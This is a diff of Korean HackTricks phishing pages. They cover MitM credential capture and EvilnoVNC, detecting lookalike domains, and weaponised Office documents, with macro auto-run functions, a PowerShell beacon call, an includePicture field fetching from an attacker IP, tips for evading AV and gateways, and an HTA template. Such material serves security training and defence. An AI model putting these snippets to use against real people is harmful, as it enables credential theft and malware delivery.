1. 실제 웹페이지의 **로그인 폼을 위장**합니다. 1. 실제 웹페이지의 로그인 양식을 **가장합니다**.
2. 사용자가 자신의 자격 증명을 가짜 페이지로 보내고 도구는 이를 실제 웹페이지로 보내 **자격 증명이 작동하는지 확인**합니다. 2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **보내고**, 도구는 이를 실제 웹페이지로 보내 **자격 증명이 작동하는지 확인합니다**.
3. 계정이 **2FA로 구성**된 경우 MitM 페이지는 이를 요청하고 사용자가 입력하면 도구가 실제 웹페이지로 보냅니다. 3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력하면** 도구는 이를 실제 웹페이지로 보냅니다.
4. 사용자가 인증되면(공격자로서) 도구가 MitM을 수행하는 동안 상호 작용하는 모든 정보의 **자격 증명, 2FA, 쿠키 및 기타 정보를 캡처**할 수 있습니다. 4. 사용자가 인증되면 공격자는 **자격 증명, 2FA, 쿠키 및 도구가 MitM을 수행하는 동안의 모든 상호작용 정보를 캡처**하게 됩니다.
### VNC를 통한 ### VNC를 통한
원래 웹페이지와 동일한 외관의 악성 페이지로 피해자를 보내는 대신, 실제 웹페이지에 연결된 브라우저가 있는 VNC 세션으로 피해자를 보낼 수 있다면 어떨까요? 그러면 피해자가 하는 일을 볼 수 있고 비밀번호, 사용된 MFA, 쿠키를 도용할 수 있습니다...\ 피해자를 **원본과 동일한 모습의 악성 페이지로 보내는 대신**, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션으로 보내면** 어떻게 될까요? 사용자가 하는 일을 볼 수 있고, 비밀번호, 사용된 MFA, 쿠키 등을 훔칠 수 있습니다.\
[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 수행할 수 있습니다. 것은 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 할 수 있습니다.
## 탐지 ## 탐지
당연히 걸렸는지 여부를 알 수 있는 가장 좋은 방법 중 하나는 **블랙리스트에서 도메인을 검색**하는 것입니다. 도메인이 의심스러운 것으로 감지된 경우 어떤 식으로든 도메인이 나열됩니다.\ 당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 자신의 도메인을 검색하는 것입니다**. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스러운 것으로 감지된 것입니다.\
도메인이 어떤 블랙리스트에 나열되어 있는지 확인하는 간단한 방법은 [https://malwareworld.com/](https://malwareworld.com)을 사용하는 것입니다. 도메인이 블랙리스트에 나타나는지 확인하는 쉬운 방법은 [https://malwareworld.com/](https://malwareworld.com) 를 사용하는 것입니다.
그러나 피해자가 야생에서 **의심스러운 피싱 활동을 찾고 있는지** 알 수 있는 다른 방법은 다음에서 설명한 대로입니다: 그러나 피해자가 **실제로 의심스러운 피싱 활동을 찾고 있는지 아는 다른 방법도 있습니다**:
{% content-ref url="detecting-phising.md" %} {% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md) [detecting-phising.md](detecting-phising.md)
{% endcontent-ref %} {% endcontent-ref %}
피해자의 도메인과 매우 유사한 이름의 도메인을 **구입**하거나 피해자의 도메인의 **키워드를 포함**하는 **자체 제어 도메인의 하위 도메인**에 대한 **인증서를 생성**할 수 있습니다. 피해자가 이러한 도메인과 상호 작용하는 경우, 의심스러운 도메인을 찾고 있음을 알 수 있으며 매우 은밀해야 합니다. **피해자의 도메인과 매우 유사한 이름의 도메인을 구매하거나** **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우, **피해자가** 이들과 어떤 종류의 **DNS 또는 HTTP 상호작용**을 수행하면, **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있으며 매우 은밀해야 합니다.**
### 피싱 평가 ### 피싱 평가
[**Phishious** ](https://github.com/Rices/Phishious)를 사용하여 이메일이 스팸 폴더에 들어갈지 또는 차단될지 여부를 평가하세요. [**Phishious**](https://github.com/Rices/Phishious)를 사용하여 이메일이 스팸 폴더에 들어갈지, 차단될지, 성공할지를 평가하세요.
## 참고 자료 ## 참고 문헌
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) * [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) * [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) * [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
</details>
{% endhint %}

View file

@ -1,78 +1,95 @@
# 피싱 탐지 # 피싱 탐지
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
## 소개 ## 소개
피싱 시도를 탐지하려면 **현재 사용되는 피싱 기술을 이해하는 것이 중요**합니다. 이 게시물의 상위 페이지에서 이 정보를 찾을 수 있으므로 오늘날 사용되는 기술을 알지 못한다면 상위 페이지로 이동하여 적어도 해당 섹션을 읽는 것을 권장합니다. 피싱 시도를 탐지하기 위해서는 **현재 사용되고 있는 피싱 기술을 이해하는 것이 중요합니다**. 이 게시물의 부모 페이지에서 이 정보를 찾을 수 있으니, 오늘날 어떤 기술이 사용되고 있는지 모른다면 부모 페이지로 가서 최소한 그 섹션을 읽어보는 것을 추천합니다.
이 게시물은 **공격자가 피해자의 도메인 이름을 모방하거나 사용하려고 시도할 것**이라는 아이디어를 기반으로 합니다. 예를 들어, 당신의 도메인이 `example.com`이고 `youwonthelottery.com`과 같이 완전히 다른 도메인을 사용하여 피싱당하는 경우 이러한 기술은 그것을 발견하지 못할 것입니다. 이 게시물은 **공격자가 피해자의 도메인 이름을 어떤 식으로든 모방하거나 사용할 것이라는 아이디어를 기반으로 합니다**. 만약 귀하의 도메인이 `example.com`이고, 어떤 이유로 `youwonthelottery.com`과 같은 완전히 다른 도메인 이름으로 피싱을 당한다면, 이러한 기술로는 이를 밝혀낼 수 없습니다.
## 도메인 이름 변형 ## 도메인 이름 변형
이메일 내에서 **유사한 도메인** 이름을 사용**피싱** 시도를 **발견**하는 것은 **쉽습니다**.\ 이메일 내에서 **유사한 도메인** 이름을 사용하는 **피싱** 시도를 **밝혀내는 것은 꽤 쉽습니다**.\
공격자가 사용할 수 있는 가장 가능성 있는 피싱 이름 목록을 **생성**하고 해당 도메인이 **등록**되었는지 확인하거나 해당 도메인을 사용하는 **IP**가 있는지 확인하면 됩니다. 공격자가 사용할 수 있는 가장 가능성이 높은 피싱 이름 목록을 **생성하고** 그것이 **등록되었는지** 또는 **IP**가 사용되고 있는지 확인하는 것으로 충분합니다.
### 수상한 도메인 찾기 ### 의심스러운 도메인 찾기
를 위해 다음 도구 중 하나를 사용할 수 있습니다. 이 도구들은 도메인이 할당된 IP가 있는지 자동으로 DNS 요청도 수행합니다: 목적을 위해 다음 도구 중 하나를 사용할 수 있습니다. 이 도구들은 도메인에 IP가 할당되어 있는지 확인하기 위해 DNS 요청을 자동으로 수행합니다:
* [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### 비트플리핑 ### 비트플리핑
**이 기술에 대한 간단한 설명은 상위 페이지에서 찾을 수 있습니다. 또는 원본 연구를** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)에서 읽을 수 있습니다. **이 기술에 대한 간단한 설명은 부모 페이지에서 찾을 수 있습니다. 또는 원본 연구를 읽어보세요** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
예를 들어, 도메인 microsoft.com의 1 비트 수정은 _windnws.com._로 변환될 수 있습니다.\ 예를 들어, 도메인 microsoft.com의 1비트 수정은 _windnws.com_으로 변환할 수 있습니다.\
**공격자는 피해자와 관련된 가능한 많은 비트 플리핑 도메인을 등록하여 합법적인 사용자를 자신의 인프라로 리디렉션할 수 있습니다**. **공격자는 피해자와 관련된 비트플리핑 도메인을 가능한 한 많이 등록하여 합법적인 사용자를 자신의 인프라로 리디렉션할 수 있습니다**.
**모든 가능한 비트플리핑 도메인 이름도 모니터링해야 합니다.** **모든 가능한 비트플리핑 도메인 이름도 모니터링해야 합니다.**
### 기본 확인 ### 기본 검사
잠재적으로 수상한 도메인 이름 목록이 있으면 해당 도메인을 (주로 HTTP 및 HTTPS 포트) **확인**하여 **피해자의 도메인과 유사한 로그인 양식을 사용하는지 확인**해야 합니다.\ 잠재적인 의심스러운 도메인 이름 목록이 생기면 **확인해야 합니다** (주로 HTTP 및 HTTPS 포트) **피해자의 도메인과 유사한 로그인 양식을 사용하고 있는지 확인하기 위해**.\
포트 3333도 열려 있는지 확인하`gophish` 인스턴스가 실행 중인지 확인할 수도 있습니다.\ 포트 3333이 열려 있`gophish` 인스턴스가 실행 중인지 확인할 수도 있습니다.\
발견된 의심스러운 도메인의 **연령**을 알아두는 것도 흥미로울 것입니다. 더 어릴수록 위험합니다.\ 각 발견된 의심스러운 도메인이 **얼마나 오래되었는지** 아는 것도 흥미롭습니다. 젊을수록 위험합니다.\
의심스러운 HTTP 및/또는 HTTPS 웹 페이지의 **스크린샷**을 찍어 의심스러운지 확인하고 그렇다면 **더 깊이 살펴보기 위해 액세스**해야 합니다. 의심스러운 웹 페이지의 **스크린샷**을 얻어 의심스러운지 확인하고, 그런 경우 **접속하여 더 깊이 살펴보세요**.
### 고급 확인 ### 고급 검사
더 나아가려면 **의심스러운 도메인을 모니터링하고 주기적으로 더 찾아보는 것**을 권장합니다(매일? 몇 초/분이면 충분합니다). 관련 IP의 열린 **포트를 확인**하고 `gophish` 또는 유사한 도구의 인스턴스를 **찾아보세요**(네, 공격자도 실수를 합니다) 그리고 의심스러운 도메인 및 하위 도메인의 HTTP 및 HTTPS 웹 페이지를 **모니터링**하여 피해자의 웹 페이지에서 로그인 양식을 복사한 것이 있는지 확인하세요.\ 한 걸음 더 나아가고 싶다면 **의심스러운 도메인을 모니터링하고 가끔 더 검색하는 것을 추천합니다** (매일? 몇 초/분밖에 걸리지 않습니다). 관련 IP의 열린 **포트**를 **확인하고 `gophish` 또는 유사한 도구의 인스턴스를 검색하세요** (네, 공격자도 실수를 합니다) 그리고 **의심스러운 도메인 및 하위 도메인의 HTTP 및 HTTPS 웹 페이지를 모니터링하여 피해자의 웹 페이지에서 로그인 양식을 복사했는지 확인하세요**.\
이를 **자동화**하려면 피해자의 도메인의 로그인 양식 목록을 갖고 의심스러운 웹 페이지를 스파이더링하고 `ssdeep`와 같은 것을 사용하여 의심스러운 도메인의 각 로그인 양식을 피해자의 도메인의 각 로그인 양식과 비교하세요.\ 이를 **자동화하기 위해** 피해자 도메인의 로그인 양식 목록을 가지고, 의심스러운 웹 페이지를 스파이더링하고, 의심스러운 도메인 내에서 발견된 각 로그인 양식을 피해자 도메인의 각 로그인 양식과 비교하는 것을 추천합니다. `ssdeep`과 같은 도구를 사용할 수 있습니다.\
의심스러운 도메인의 로그인 양식을 찾았다면 **잘못된 자격 증명을 보내고 피해자의 도메인으로 리디렉션되는지 확인**해볼 수 있습니다. 의심스러운 도메인의 로그인 양식을 찾았다면 **쓰레기 자격 증명을 보내고** **피해자의 도메인으로 리디렉션되는지 확인하세요**.
## 키워드를 사용하는 도메인 이름 ## 키워드를 사용하는 도메인 이름
상위 페이지에서 언급된 도메인 이름 변형 기술은 **피해자의 도메인 이름을 더 큰 도메인 안에 넣는 것**으로 구성됩니다 (예: paypal.com의 경우 paypal-financial.com). 부모 페이지는 **피해자의 도메인 이름을 더 큰 도메인 안에 넣는** 도메인 이름 변형 기술도 언급합니다 (예: paypal-financial.com은 paypal.com을 위한 것입니다).
### 인증 투명성 ### 인증 투명성
이전의 "무차별 대입" 접근 방식을 취할 수는 없지만 인증 투명성 덕분에 실제로 **키워드를 사용하는 도메인을 발견**할 수 있습니다. CA가 인증서를 발급할 때마다 세부 정보가 공개됩니다. 따라서 인증 투명성을 읽거나 모니터링하여 **이름 내에 키워드를 사용하는 도메인을 찾을 수 있습니다**. 예를 들어, 공격자가 [https://paypal-financial.com](https://paypal-financial.com)의 인증서를 생성하면 인증서를 보고 "paypal" 키워드를 찾아 의심스러운 이메일이 사용 중임을 알 수 있습니다. 이전의 "무차별 대입" 접근 방식을 취할 수는 없지만, 인증서 투명성 덕분에 **이러한 피싱 시도를 밝혀내는 것이 가능합니다**. CA에 의해 인증서가 발급될 때마다 세부 사항이 공개됩니다. 이는 인증서 투명성을 읽거나 모니터링함으로써 **이름에 키워드를 사용하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**. 예를 들어, 공격자가 [https://paypal-financial.com](https://paypal-financial.com)의 인증서를 생성하면, 인증서를 보고 "paypal"이라는 키워드를 찾아 의심스러운 이메일이 사용되고 있음을 알 수 있습니다.
게시물 [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)은 Censys를 사용하여 특정 키워드를 검색하고 날짜(오직 "새로운" 인증서) 및 CA 발급자 "Let's Encrypt"로 필터링할 수 있다고 제안합니다: 게시물 [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)은 특정 키워드에 영향을 미치는 인증서를 검색하고 날짜(오직 "새로운" 인증서) 및 CA 발급자 "Let's Encrypt"로 필터링하기 위해 Censys를 사용할 수 있다고 제안합니다:
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) ![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
그러나 무료 웹 [**crt.sh**](https://crt.sh)를 사용하여 "동일한" 작업을 수행할 수 있습니다. 원하는 경우 키워드를 **검색**하고 결과를 **날짜 및 CA로 필터링**할 수 있습니다. 그러나 무료 웹 [**crt.sh**](https://crt.sh)를 사용하여 "같은" 작업을 수행할 수 있습니다. **키워드를 검색하고** 원하시면 **날짜 및 CA로 결과를 필터링**할 수 있습니다.
![](<../../.gitbook/assets/image (519).png>) ![](<../../.gitbook/assets/image (519).png>)
마지막 옵션을 사용하면 실제 도메인의 일치하는 ID를 사용하여 의심스러운 도메인 중 어떤 ID가 일치하는지 확인할 수 있습니다(의심스러운 도메인이 잘못된 양성일 수 있음에 유의하세요). 이 마지막 옵션을 사용하면 실제 도메인에서 어떤 신원이 의심스러운 도메인과 일치하는지 확인하기 위해 Matching Identities 필드를 사용할 수 있습니다 (의심스러운 도메인이 잘못된 긍정일 수 있다는 점에 유의하세요).
**또 다른 대안**은 [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)이라는 환상적인 프로젝트입니다. CertStream은 새로 생성된 인증서의 실시간 스트림을 제공하며, 이를 사용하여 (근사) 실시간으로 지정된 키워드를 탐지할 수 있습니다. 실제로 [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)라는 프로젝트가 바로 그것을 수행합니다.
**또 다른 대안**은 [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)이라는 훌륭한 프로젝트입니다. CertStream은 실시간으로 생성된 인증서 스트림을 제공하며 이를 사용하여 (거의) 실시간으로 지정된 키워드를 감지할 수 있습니다. 사실, [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)라는 프로젝트가 이를 수행합니다.
### **새로운 도메인** ### **새로운 도메인**
**마지막 대안**은 일부 TLD에 대해 **새롭게 등록된 도메인 목록을 수집**하고 ([Whoxy](https://www.whoxy.com/newly-registered-domains/)가 이러한 서비스를 제공) **이러한 도메인에서 키워드를 확인하는 것**입니다. 그러나 긴 도메인은 일반적으로 하나 이상의 하위 도메인을 사용하므로 키워드는 FLD 내부에 나타나지 않을 것이며 피싱 하위 도메인을 찾을 수 없을 것입니다. **마지막 대안**은 일부 TLD에 대해 **새로 등록된 도메인 목록을 수집하고** 이러한 도메인에서 **키워드를 확인하는 것입니다**. 그러나 긴 도메인은 일반적으로 하나 이상의 하위 도메인을 사용하므로 키워드가 FLD에 나타나지 않으며 피싱 하위 도메인을 찾을 수 없습니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,43 +1,48 @@
# 피싱 파일 및 문서 # 피싱 파일 및 문서
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터**에서 **팔로우**해보세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출해보세요**.
</details> </details>
{% endhint %}
## 오피스 문서 ## 오피스 문서
Microsoft Word는 파일을 열기 전에 파일 데이터 유효성을 수행합니다. 데이터 유효성은 OfficeOpenXML 표준에 대한 데이터 구조 식별을 통해 수행됩니다. 데이터 구조 식별 중에 오류가 발생하면 분석 중인 파일이 열리지 않습니다. Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 대한 데이터 구조 식별 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
일반적으로 매크로를 포함하는 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경하여 파일 이름을 변경하고도 여전히 매크로 실행 기능을 유지할 수 있습니다.\ 일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경하여 파일 이름을 바꾸면 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어 RTF 파일은 설계상 매크로를 지원하지 않지만, RTF로 이름이 바뀐 DOCM 파일은 Microsoft Word에서 처리되어 매크로 실행이 가능합니다.\ 예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 처리되며 매크로 실행이 가능합니다.\
동일한 내부 및 메커니즘은 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다. 같은 내부 구조와 메커니즘은 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
일부 Office 프로그램에서 실행될 확장자를 확인하려면 다음 명령을 사용할 수 있습니다: 다음 명령을 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다:
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
DOCX 파일이 원격 템플릿을 참조하는 경우 (파일 옵션 추가 기능 관리: 템플릿 이동) 매크로를 “실행”할 수 있습니다.
### 외부 이미지 로드 ### 외부 이미지 로드
이동: _삽입 --> 빠른 부분 --> 필드_\ 다음으로 이동: _삽입 --> 빠른 부분 --> 필드_\
_**카테고리**: 링크 및 참조, **필드 이름**: includePicture, 그리고 **파일 이름 또는 URL**:_ http://\<ip>/whatever _**카테고리**: 링크 및 참조, **필드 이름**: includePicture, **파일 이름 또는 URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (155).png>) ![](<../../.gitbook/assets/image (155).png>)
### 매크로 백도어 ### 매크로 백도어
문서에서 매크로를 사용하여 임의의 코드를 실행하는 것이 가능합니다. 문서에서 임의의 코드를 실행하기 위해 매크로를 사용할 수 있습니다.
#### 자동 로드 함수 #### 자동 로드 함수
더 일반적인 함수일수록 AV가 감지할 가능성이 높습니다. 더 일반적일수록, AV가 이를 감지할 가능성이 높아집니다.
* AutoOpen() * AutoOpen()
* Document\_Open() * Document\_Open()
@ -74,12 +79,12 @@ proc.Create "powershell <beacon line generated>
``` ```
#### 메타데이터 수동 제거 #### 메타데이터 수동 제거
**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하여 문서 검사 도구를 열 수 있습니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭합니다. **파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 열립니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭합니다.
#### 문서 확장자 #### 문서 확장자
작업을 마치면 **다른 이름으로 저장** 드롭다운을 선택하여 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경합니다.\ 작업이 끝나면 **다른 이름으로 저장** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경합니다.\
이렇게 하는 이유는 **매크로를 `.docx` 내부에 저장할 수 없기 때문**이며, 매크로가 포함된 **`.docm`** 확장자에는 **낙인**이 있어서 (예: 썸네일 아이콘에 큰 `!`가 표시되어 있음) 웹/이메일 게이트웨이에서 완전히 차단할 수 있습니다. 따라서 이 **기존 `.doc` 확장자가 최상의 타협안**입니다. 이렇게 하는 이유는 **`.docx`** 안에 매크로를 저장할 수 없고, 매크로 사용 가능 **`.docm`** 확장자에 대한 **오명**이 있기 때문입니다(예: 썸네일 아이콘에 큰 `!`가 있고 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **구식 `.doc` 확장자**가 최선의 타협입니다.
#### 악성 매크로 생성기 #### 악성 매크로 생성기
@ -89,9 +94,9 @@ proc.Create "powershell <beacon line generated>
## HTA 파일 ## HTA 파일
HTA는 **HTML 및 VBScript 및 JScript와 같은 스크립팅 언어를 결합한 Windows 프로그램**입니다. 이는 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전히 신뢰할 수 있는" 응용 프로그램으로 실행됩니다. HTA는 **HTML 및 스크립팅 언어(예: VBScript 및 JScript)**를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전히 신뢰할 수 있는" 애플리케이션으로 실행됩니다.
HTA는 **`mshta.exe`**를 사용하여 실행되며, 일반적으로 **인터넷 익스플로러와 함께 설치**되어 **`mshta`가 IE에 의존**합니다. 따라서 IE가 제거되었을 경우 HTA는 실행할 수 없습니다. HTA는 **`mshta.exe`**를 사용하여 실행되며, 이는 일반적으로 **Internet Explorer**와 함께 **설치**되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 IE가 제거되면 HTA는 실행할 수 없습니다.
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -146,9 +151,9 @@ var_func
self.close self.close
</script> </script>
``` ```
## NTLM 인증 강제 ## NTLM 인증 강제
